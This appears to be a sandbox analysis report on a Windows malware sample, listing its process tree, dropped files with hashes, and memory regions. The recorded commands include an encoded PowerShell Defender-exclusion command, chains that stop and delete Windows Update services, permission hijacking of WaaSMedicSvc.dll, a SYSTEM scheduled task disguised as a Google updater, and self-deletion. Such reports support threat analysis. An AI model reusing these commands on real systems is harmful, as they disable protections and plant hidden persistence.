C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE6⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE6⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE6⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 05⤵
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-ac 06⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-dc 06⤵
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-ac 06⤵
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-dc 06⤵
-
C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe "lyjkyhzqxcegy"5⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted2⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k RPCSS2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch2⤵
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{66047500-c3c8-4b75-8584-bc852a2a3086}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{edeb09e1-29e0-4a09-a709-861890536684}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\lsm.exeC:\Windows\system32\lsm.exe1⤵
-
\\?\C:\Windows\system32\wbem\WMIADAP.EXEwmiadap.exe /F /T /R1⤵
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
-
C:\Users\Admin\AppData\Local\Temp\6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe"C:\Users\Admin\AppData\Local\Temp\6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe"2⤵
- Drops file in Drivers directory
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHoAYgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAYgB4ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGoAdwBwACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHUAbgAjAD4A"3⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc stop UsoSvc4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop WaaSMedicSvc4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop wuauserv4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop bits4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop dosvc4⤵
- Launches sc.exe
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f4⤵
- Modifies security service
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f4⤵
- Modifies registry key
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\System32\WaaSMedicSvc.dll4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\icacls.exeicacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f4⤵
- Modifies registry key
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 03⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-ac 04⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-dc 04⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-ac 04⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-dc 04⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe3⤵
- Drops file in Windows directory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "\"C:\Program Files\Google\Chrome\updater.exe\""3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "\"C:\Program Files\Google\Chrome\updater.exe\""4⤵
- Creates scheduled task(s)
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /run /tn "GoogleUpdateTaskMachineQC"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /run /tn "GoogleUpdateTaskMachineQC"4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe"3⤵
- Deletes itself
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 34⤵
-
C:\Windows\system32\Dwm.exe"C:\Windows\system32\Dwm.exe"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "1947483103730836851384763572777073902811826447-54077473-1719405770-2005645080"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "1300148536-1252323439132868966169189001-79649579-127629863-1976244638-1372352485"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "1852278413-19292306911887822764-852599615-144409889-272029777339773161462798328"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "180893506518513205834629656551093141176383579487-1122700631-1155208853-1635767525"1⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Program Files\Google\Chrome\updater.exeFilesize
2.7MB
MD5cff0e1b4af4ef5a2d4cb78ea5d403d58
SHA15224506ce265475452aeddf540f5f9b996f84bd6
SHA2566819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915
SHA51255cfed7b7a95c71afd8191116f03829b8c51661cf1de035652e08b8ae4b8003f569ca6e198748167e626d17edb7012fe535aa08e8af2e09d2440880088fa2c40
-
C:\Program Files\Google\Chrome\updater.exeFilesize
2.7MB
MD5cff0e1b4af4ef5a2d4cb78ea5d403d58
SHA15224506ce265475452aeddf540f5f9b996f84bd6
SHA2566819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915
SHA51255cfed7b7a95c71afd8191116f03829b8c51661cf1de035652e08b8ae4b8003f569ca6e198748167e626d17edb7012fe535aa08e8af2e09d2440880088fa2c40
-
C:\Windows\Tasks\dialersvc32.jobFilesize
1KB
MD572a5566d9e09e640d23fb82350b128df
SHA12aaf8d5aaba3eb5a9c6f403f456dd73bc74610d5
SHA256c3632cf16f39f9e97a748383f4ba4854dbe48c23f2217e54572e8f91e34b0f36
SHA51291dc1ecfb4d685c8cefa2c7a94339fbb9f44adc7ce9fdf7513457bce2b0ca4595d3d1ee79d6530f730323b72843dc82249d967978c228bade90b35b79cb89ba6
-
C:\Windows\system32\drivers\etc\hostsFilesize
936B
MD5488f37f7e0cc4a3c3ac16e8dfa1fea2b
SHA1c191425f03a197a38e0656fdceba93c116b002ab
SHA2560fbd138c7d5d462b515eaf5fa28378302664b12dc7c1aa17768e16268a935bb8
SHA512a52f5fd73afc68a9108a3558eecc11feecb4dac9ee0bbbbcfff397b835493e731fa48f7675a5cb5e8502c034af1d6d21e1d44508e61725d065a8469330818a78
-
\??\PIPE\srvsvcMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
\Program Files\Google\Chrome\updater.exeFilesize
2.7MB
MD5cff0e1b4af4ef5a2d4cb78ea5d403d58
SHA15224506ce265475452aeddf540f5f9b996f84bd6
SHA2566819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915
SHA51255cfed7b7a95c71afd8191116f03829b8c51661cf1de035652e08b8ae4b8003f569ca6e198748167e626d17edb7012fe535aa08e8af2e09d2440880088fa2c40
-
memory/308-222-0x0000000001BA0000-0x0000000001BCA000-memory.dmpFilesize
168KB
-
memory/308-227-0x0000000037B30000-0x0000000037B40000-memory.dmpFilesize
64KB
-
memory/328-216-0x0000000000980000-0x00000000009AA000-memory.dmpFilesize
168KB
-
memory/328-218-0x0000000037B30000-0x0000000037B40000-memory.dmpFilesize
64KB
-
memory/420-146-0x000007FEBF8D0000-0x000007FEBF8E0000-memory.dmpFilesize
64KB
-
memory/420-142-0x00000000002B0000-0x00000000002D3000-memory.dmpFilesize
140KB
-
memory/420-154-0x00000000002B0000-0x00000000002D3000-memory.dmpFilesize
140KB
-
memory/420-159-0x00000000002E0000-0x000000000030A000-memory.dmpFilesize
168KB
-
memory/420-148-0x0000000037B30000-0x0000000037B40000-memory.dmpFilesize
64KB
-
memory/456-270-0x0000000037B30000-0x0000000037B40000-memory.dmpFilesize
64KB
-
memory/456-272-0x0000000000200000-0x000000000022A000-memory.dmpFilesize
168KB
-
memory/456-258-0x0000000000200000-0x000000000022A000-memory.dmpFilesize
168KB
-
memory/468-152-0x0000000037B30000-0x0000000037B40000-memory.dmpFilesize
64KB
-
memory/468-150-0x000007FEBF8D0000-0x000007FEBF8E0000-memory.dmpFilesize
64KB
-
memory/468-165-0x0000000000150000-0x000000000017A000-memory.dmpFilesize
168KB
-
memory/476-170-0x0000000000130000-0x000000000015A000-memory.dmpFilesize
168KB
-
memory/476-157-0x0000000037B30000-0x0000000037B40000-memory.dmpFilesize
64KB
-
memory/476-156-0x000007FEBF8D0000-0x000007FEBF8E0000-memory.dmpFilesize
64KB
-
memory/484-164-0x0000000037B30000-0x0000000037B40000-memory.dmpFilesize
64KB
-
memory/484-176-0x0000000000340000-0x000000000036A000-memory.dmpFilesize
168KB
-
memory/484-163-0x000007FEBF8D0000-0x000007FEBF8E0000-memory.dmpFilesize
64KB
-
memory/524-290-0x0000000000400000-0x0000000000435000-memory.dmpFilesize
212KB
-
memory/524-299-0x00000000001A0000-0x00000000001BB000-memory.dmpFilesize
108KB
-
memory/524-300-0x00000000005D0000-0x00000000005F1000-memory.dmpFilesize
132KB
-
memory/524-298-0x0000000077CD0000-0x0000000077E50000-memory.dmpFilesize
1.5MB
-
memory/524-114-0x0000000000000000-mapping.dmp
-
memory/524-264-0x00000000004039E0-mapping.dmp
-
memory/532-90-0x0000000000000000-mapping.dmp
-
memory/552-72-0x0000000000000000-mapping.dmp
-
memory/592-171-0x0000000037B30000-0x0000000037B40000-memory.dmpFilesize
64KB
-
memory/592-167-0x000007FEBF8D0000-0x000007FEBF8E0000-memory.dmpFilesize
64KB
-
memory/592-182-0x00000000004A0000-0x00000000004CA000-memory.dmpFilesize
168KB
-
memory/672-462-0x0000000000000000-mapping.dmp
-
memory/676-179-0x0000000037B30000-0x0000000037B40000-memory.dmpFilesize
64KB
-
memory/676-186-0x0000000000120000-0x000000000014A000-memory.dmpFilesize
168KB
-
memory/676-174-0x000007FEBF8D0000-0x000007FEBF8E0000-memory.dmpFilesize
64KB
-
memory/684-86-0x0000000000000000-mapping.dmp
-
memory/740-190-0x00000000009B0000-0x00000000009DA000-memory.dmpFilesize
168KB
-
memory/740-183-0x0000000037B30000-0x0000000037B40000-memory.dmpFilesize
64KB
-
memory/740-177-0x000007FEBF8D0000-0x000007FEBF8E0000-memory.dmpFilesize
64KB
-
memory/752-77-0x0000000000000000-mapping.dmp
-
memory/776-118-0x0000000000000000-mapping.dmp
-
memory/800-253-0x0000000000120000-0x000000000014A000-memory.dmpFilesize
168KB
-
memory/804-196-0x0000000000860000-0x000000000088A000-memory.dmpFilesize
168KB
-
memory/804-180-0x000007FEBF8D0000-0x000007FEBF8E0000-memory.dmpFilesize
64KB
-
memory/832-478-0x0000000000000000-mapping.dmp
-
memory/832-79-0x0000000000000000-mapping.dmp
-
memory/852-205-0x0000000037B30000-0x0000000037B40000-memory.dmpFilesize
64KB
-
memory/852-198-0x0000000000970000-0x000000000099A000-memory.dmpFilesize
168KB
-
memory/872-74-0x0000000000000000-mapping.dmp
-
memory/876-211-0x00000000009E0000-0x0000000000A0A000-memory.dmpFilesize
168KB
-
memory/876-293-0x0000000037B30000-0x0000000037B40000-memory.dmpFilesize
64KB
-
memory/928-317-0x0000000000000000-mapping.dmp
-
memory/928-93-0x0000000000000000-mapping.dmp
-
memory/960-248-0x00000000007A0000-0x00000000007CA000-memory.dmpFilesize
168KB
-
memory/960-251-0x0000000037B30000-0x0000000037B40000-memory.dmpFilesize
64KB
-
memory/972-423-0x0000000000000000-mapping.dmp
-
memory/1040-294-0x0000000000920000-0x000000000094A000-memory.dmpFilesize
168KB
-
memory/1052-301-0x0000000000140000-0x000000000016A000-memory.dmpFilesize
168KB
-
memory/1052-302-0x0000000037B30000-0x0000000037B40000-memory.dmpFilesize
64KB
-
memory/1108-444-0x0000000000000000-mapping.dmp
-
memory/1132-88-0x0000000000000000-mapping.dmp
-
memory/1136-98-0x0000000140000000-0x0000000140056000-memory.dmpFilesize
344KB
-
memory/1136-305-0x0000000000470000-0x000000000049A000-memory.dmpFilesize
168KB
-
memory/1136-307-0x00000000013C4000-0x00000000013C7000-memory.dmpFilesize
12KB
-
memory/1136-304-0x0000000000410000-0x000000000043A000-memory.dmpFilesize
168KB
-
memory/1136-282-0x0000000000000000-mapping.dmp
-
memory/1136-97-0x0000000140000000-0x0000000140056000-memory.dmpFilesize
344KB
-
memory/1136-100-0x0000000140000000-0x0000000140056000-memory.dmpFilesize
344KB
-
memory/1136-102-0x0000000140000000-0x0000000140056000-memory.dmpFilesize
344KB
-
memory/1136-103-0x0000000140000000-0x0000000140056000-memory.dmpFilesize
344KB
-
memory/1136-104-0x0000000140000000-0x0000000140056000-memory.dmpFilesize
344KB
-
memory/1136-105-0x0000000140000000-0x0000000140056000-memory.dmpFilesize
344KB
-
memory/1136-107-0x0000000140000000-0x0000000140056000-memory.dmpFilesize
344KB
-
memory/1136-108-0x0000000140000000-0x0000000140056000-memory.dmpFilesize
344KB
-
memory/1136-109-0x0000000140001844-mapping.dmp
-
memory/1136-111-0x0000000140000000-0x0000000140056000-memory.dmpFilesize
344KB
-
memory/1136-113-0x0000000140000000-0x0000000140056000-memory.dmpFilesize
344KB
-
memory/1144-126-0x000000013FA20000-0x000000013FCD6000-memory.dmpFilesize
2.7MB
-
memory/1144-123-0x0000000000000000-mapping.dmp
-
memory/1144-303-0x0000000000F80000-0x0000000000FAA000-memory.dmpFilesize
168KB
-
memory/1156-435-0x0000000000000000-mapping.dmp
-
memory/1180-314-0x0000000000000000-mapping.dmp
-
memory/1208-81-0x0000000000000000-mapping.dmp
-
memory/1216-450-0x0000000000000000-mapping.dmp
-
memory/1228-521-0x0000000000000000-mapping.dmp
-
memory/1256-230-0x0000000001D70000-0x0000000001D9A000-memory.dmpFilesize
168KB
-
memory/1256-233-0x0000000037B30000-0x0000000037B40000-memory.dmpFilesize
64KB
-
memory/1296-321-0x0000000000000000-mapping.dmp
-
memory/1304-78-0x0000000000000000-mapping.dmp
-
memory/1324-119-0x0000000000000000-mapping.dmp
-
memory/1340-236-0x00000000001D0000-0x00000000001FA000-memory.dmpFilesize
168KB
-
memory/1340-239-0x0000000037B30000-0x0000000037B40000-memory.dmpFilesize
64KB
-
memory/1356-62-0x000007FEECAA0000-0x000007FEED5FD000-memory.dmpFilesize
11.4MB
-
memory/1356-66-0x00000000027AB000-0x00000000027CA000-memory.dmpFilesize
124KB
-
memory/1356-65-0x00000000027A4000-0x00000000027A7000-memory.dmpFilesize
12KB
-
memory/1356-64-0x000000001B7E0000-0x000000001BADF000-memory.dmpFilesize
3.0MB
-
memory/1356-63-0x00000000027A4000-0x00000000027A7000-memory.dmpFilesize
12KB
-
memory/1356-61-0x000007FEED600000-0x000007FEEE023000-memory.dmpFilesize
10.1MB
-
memory/1356-59-0x0000000000000000-mapping.dmp
-
memory/1360-83-0x0000000000000000-mapping.dmp
-
memory/1360-506-0x0000000000000000-mapping.dmp
-
memory/1376-515-0x0000000000000000-mapping.dmp
-
memory/1384-245-0x0000000037B30000-0x0000000037B40000-memory.dmpFilesize
64KB
-
memory/1384-241-0x0000000002560000-0x000000000258A000-memory.dmpFilesize
168KB
-
memory/1408-73-0x0000000000000000-mapping.dmp
-
memory/1456-384-0x0000000000000000-mapping.dmp
-
memory/1476-71-0x0000000000000000-mapping.dmp
-
memory/1492-87-0x0000000000000000-mapping.dmp
-
memory/1500-289-0x0000000140000000-0x0000000140042000-memory.dmpFilesize
264KB
-
memory/1500-67-0x0000000000000000-mapping.dmp
-
memory/1500-134-0x00000001400033F4-mapping.dmp
-
memory/1500-136-0x0000000140000000-0x0000000140042000-memory.dmpFilesize
264KB
-
memory/1500-139-0x00000000778D0000-0x00000000779EF000-memory.dmpFilesize
1.1MB
-
memory/1500-162-0x0000000077AF0000-0x0000000077C99000-memory.dmpFilesize
1.7MB
-
memory/1500-261-0x0000000000400000-0x000000000042A000-memory.dmpFilesize
168KB
-
memory/1500-133-0x0000000140000000-0x0000000140042000-memory.dmpFilesize
264KB
-
memory/1500-137-0x0000000077AF0000-0x0000000077C99000-memory.dmpFilesize
1.7MB
-
memory/1504-82-0x0000000000000000-mapping.dmp
-
memory/1536-80-0x0000000000000000-mapping.dmp
-
memory/1544-343-0x0000000000000000-mapping.dmp
-
memory/1560-92-0x0000000000000000-mapping.dmp
-
memory/1600-95-0x0000000000000000-mapping.dmp
-
memory/1600-527-0x0000000000000000-mapping.dmp
-
memory/1608-94-0x0000000000000000-mapping.dmp
-
memory/1612-500-0x0000000000000000-mapping.dmp
-
memory/1632-70-0x0000000000000000-mapping.dmp
-
memory/1640-116-0x0000000000000000-mapping.dmp
-
memory/1684-57-0x0000000000650000-0x0000000000656000-memory.dmpFilesize
24KB
-
memory/1684-58-0x000007FEFC341000-0x000007FEFC343000-memory.dmpFilesize
8KB
-
memory/1684-96-0x00000000025A0000-0x00000000025A6000-memory.dmpFilesize
24KB
-
memory/1684-54-0x000000013FC20000-0x000000013FED6000-memory.dmpFilesize
2.7MB
-
memory/1684-55-0x0000000000640000-0x0000000000646000-memory.dmpFilesize
24KB
-
memory/1684-56-0x000000001C9D0000-0x000000001CC74000-memory.dmpFilesize
2.6MB
-
memory/1692-68-0x0000000000000000-mapping.dmp
-
memory/1712-89-0x0000000000000000-mapping.dmp
-
memory/1720-401-0x0000000000000000-mapping.dmp
-
memory/1768-91-0x0000000000000000-mapping.dmp
-
memory/1772-117-0x0000000000000000-mapping.dmp
-
memory/1804-69-0x0000000000000000-mapping.dmp
-
memory/1836-494-0x0000000000000000-mapping.dmp
-
memory/1908-456-0x0000000000000000-mapping.dmp
-
memory/1928-296-0x0000000037B30000-0x0000000037B40000-memory.dmpFilesize
64KB
-
memory/1928-256-0x00000000007B0000-0x00000000007DA000-memory.dmpFilesize
168KB
-
memory/1964-75-0x0000000000000000-mapping.dmp
-
memory/1964-115-0x0000000000000000-mapping.dmp
-
memory/1968-85-0x0000000000000000-mapping.dmp
-
memory/1976-429-0x0000000000000000-mapping.dmp
-
memory/1988-267-0x0000000074AF0000-0x000000007509B000-memory.dmpFilesize
5.7MB
-
memory/1988-127-0x0000000076401000-0x0000000076403000-memory.dmpFilesize
8KB
-
memory/1988-122-0x0000000000000000-mapping.dmp
-
memory/1988-153-0x0000000074AF0000-0x000000007509B000-memory.dmpFilesize
5.7MB
-
memory/1988-84-0x0000000000000000-mapping.dmp
-
memory/1988-224-0x0000000077CD0000-0x0000000077E50000-memory.dmpFilesize
1.5MB
-
memory/1988-269-0x0000000077CD0000-0x0000000077E50000-memory.dmpFilesize
1.5MB
-
memory/1992-132-0x00000000778D0000-0x00000000779EF000-memory.dmpFilesize
1.1MB
-
memory/1992-131-0x0000000077AF0000-0x0000000077C99000-memory.dmpFilesize
1.7MB
-
memory/1992-130-0x000007FEED4F0000-0x000007FEEE04D000-memory.dmpFilesize
11.4MB
-
memory/1992-138-0x0000000001114000-0x0000000001117000-memory.dmpFilesize
12KB
-
memory/1992-140-0x000000000111B000-0x000000000113A000-memory.dmpFilesize
124KB
-
memory/1992-141-0x0000000077AF0000-0x0000000077C99000-memory.dmpFilesize
1.7MB
-
memory/1992-129-0x000007FEEE050000-0x000007FEEEA73000-memory.dmpFilesize
10.1MB
-
memory/1992-143-0x00000000778D0000-0x00000000779EF000-memory.dmpFilesize
1.1MB
-
memory/1992-120-0x0000000000000000-mapping.dmp
-
memory/1992-357-0x0000000000000000-mapping.dmp
-
memory/2012-76-0x0000000000000000-mapping.dmp
-
memory/2024-306-0x0000000000750000-0x000000000077A000-memory.dmpFilesize
168KB